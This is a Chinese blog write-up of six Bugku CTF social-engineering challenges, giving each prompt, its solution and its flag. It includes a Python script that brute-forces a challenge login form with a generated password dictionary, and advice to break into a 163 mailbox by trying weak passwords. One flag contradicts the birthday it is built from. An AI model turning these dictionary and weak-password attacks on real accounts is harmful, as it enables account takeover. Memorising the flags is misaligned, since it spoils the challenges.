Bugku社工题目解析

红太狼 2023-03-03 14:29 11阅读 0赞

# Bugku社工 #

--------------------

### 目录 ###

*  Bugku社工
 *   *   *  1、密码
         *  2、信息查找
         *  3、简单个人信息收集
         *  4、社工进阶
         *  5、王小明的日记
         *  6、简单的社工尝试

--------------------

### 1、密码 ###

题干：  
姓名：张三  
生日；19970315  
KEY格式KEY\{xxxxxxxxxx\}

解析：  
直接首字母zs，生日，就行

答案：  
flag\{zs199970315\}

### 2、信息查找 ###

题干：  
信息查找  
听说bugku.cn 在今日头条上能找到？？  
提示：flag为群号码  
格式KEY\{xxxxxxxxxxx\}

解析：  
直接百度搜索  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70_pic_center]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70_pic_center 1]  
答案：  
KEY\{462713425\}

### 3、简单个人信息收集 ###

[参考链接][Link 1]  
题干：  
1.zip

解析：  
首先尝试爆破，而后考虑ZIP伪加密，伪加密破解工具：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70_pic_center 2]  
伪加密解决，打开后  
![在这里插入图片描述][20200731194701940.png]  
社工的网站已经宕了，

答案：  
flag\{15206164164\}

### 4、社工进阶 ###

题干：

解析：百度贴吧搜索 孤长离  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70 1]  
邮箱应该是弱口令登录，查找弱口令表，挨个试163邮箱的登录，a123456

答案：  
KEY\{sg1H78Si9C0s99Q\}

### 5、王小明的日记 ###

[参考链接][Link 2]

解析：  
注意题干提示的信息：[bugku在线工具][bugku]  
使用的工具为：[在线密码攻击][Link 3]  
使用在线密码攻击，生成字典：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70 2]  
得到字典  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70 3]  
然后使用python脚本爆破

import requests,re
     
    def req(pwd):
    url='http://120.24.86.145:8002/xiaoming/?yes'
    s = requests.session()
    r = s.get(url)
    r.encoding = 'utf-8'
    # print(r.text)
    response = s.post(url,data={
        'pwd':pwd})
    response.encoding = 'utf-8'
    # print(response.text)
    b = re.findall(r'密码不正确，请重新输入', response.text)
    # print(b)
    return b
     
    def zidian():
    f = open('mima.txt','r',encoding='UTF-8')
    a = f.read()
    a = a.splitlines()
    return a
     
     
    a = zidian()
    for pwd in a:
    b = req(pwd)
    try:
    if b[0] == '密码不正确，请重新输入':
    # print(b[0])
    pass
    except:
    print(pwd)
    break

[参考链接][Link 4]

python3.5 crack.py
    
    wxm

密码wxm  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70 4]  
![在这里插入图片描述][20200731195658278.png]

答案：  
flag\{bugku-shegong\_xmq\}

参考链接1:[https://blog.csdn.net/x947955250/article/details/81304430][Link 2]  
参考链接2:[https://weibo.com/bugku?is\_hot=1][https_weibo.com_bugku_is_hot_1]  
参考链接3:[https://weibo.com/p/1005055997442119/photos?type=photo\#place][https_weibo.com_p_1005055997442119_photos_type_photo_place]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70 5]

### 6、简单的社工尝试 ###

解析：  
[https://findneo.github.io/180406BugkuWriteup/][https_findneo.github.io_180406BugkuWriteup]  
参考链接：  
[https://github.com/bugku][https_github.com_bugku]  
[https://weibo.com/bugku][https_weibo.com_bugku]  
[http://c.bugku.com/13211.txt][http_c.bugku.com_13211.txt]

答案：  
flag\{BUku\_open\_shgcx1\}

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70_pic_center]: /images/20230208/2a513fdc655e41649723ec02e7203db6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20230208/4c098efa6f274574afa03622f388f802.png
[Link 1]: https://blog.csdn.net/pdsu161530247/article/details/73628231
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20230208/cfe577abe5314aa194184941bd7270eb.png
[20200731194701940.png]: /images/20230208/dfe957eebffb4cb58016a9fd7c4b5e56.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70]: /images/20230208/1b7171c21e8e432197cc169fd161ca18.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70 1]: /images/20230208/121ad84429a84c70bbddca3ac4de1cfa.png
[Link 2]: https://blog.csdn.net/x947955250/article/details/81304430
[bugku]: http://tool.bugku.com/
[Link 3]: https://www.bugku.com/mima/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70 2]: /images/20230208/321c062fdf794ec994d23c0524d6bb7a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70 3]: /images/20230208/e90d8734923d4f0081bedd81015136e1.png
[Link 4]: https://ctf.yuanlichenai.cn/2018/05/29/Bugku/shegong/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70 4]: /images/20230208/4dda8fa3fe014cdc9d2319e5bc9e21f6.png
[20200731195658278.png]: /images/20230208/9025b1a4f2cd4d6b9686c78054d509fb.png
[https_weibo.com_bugku_is_hot_1]: https://weibo.com/bugku?is_hot=1
[https_weibo.com_p_1005055997442119_photos_type_photo_place]: https://weibo.com/p/1005055997442119/photos?type=photo#place
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTM0Njk3NTM_size_16_color_FFFFFF_t_70 5]: /images/20230208/56fdda0a34c04dbabce35e94abb7ecd5.png
[https_findneo.github.io_180406BugkuWriteup]: https://findneo.github.io/180406BugkuWriteup/
[https_github.com_bugku]: https://github.com/bugku
[https_weibo.com_bugku]: https://weibo.com/bugku
[http_c.bugku.com_13211.txt]: http://c.bugku.com/13211.txt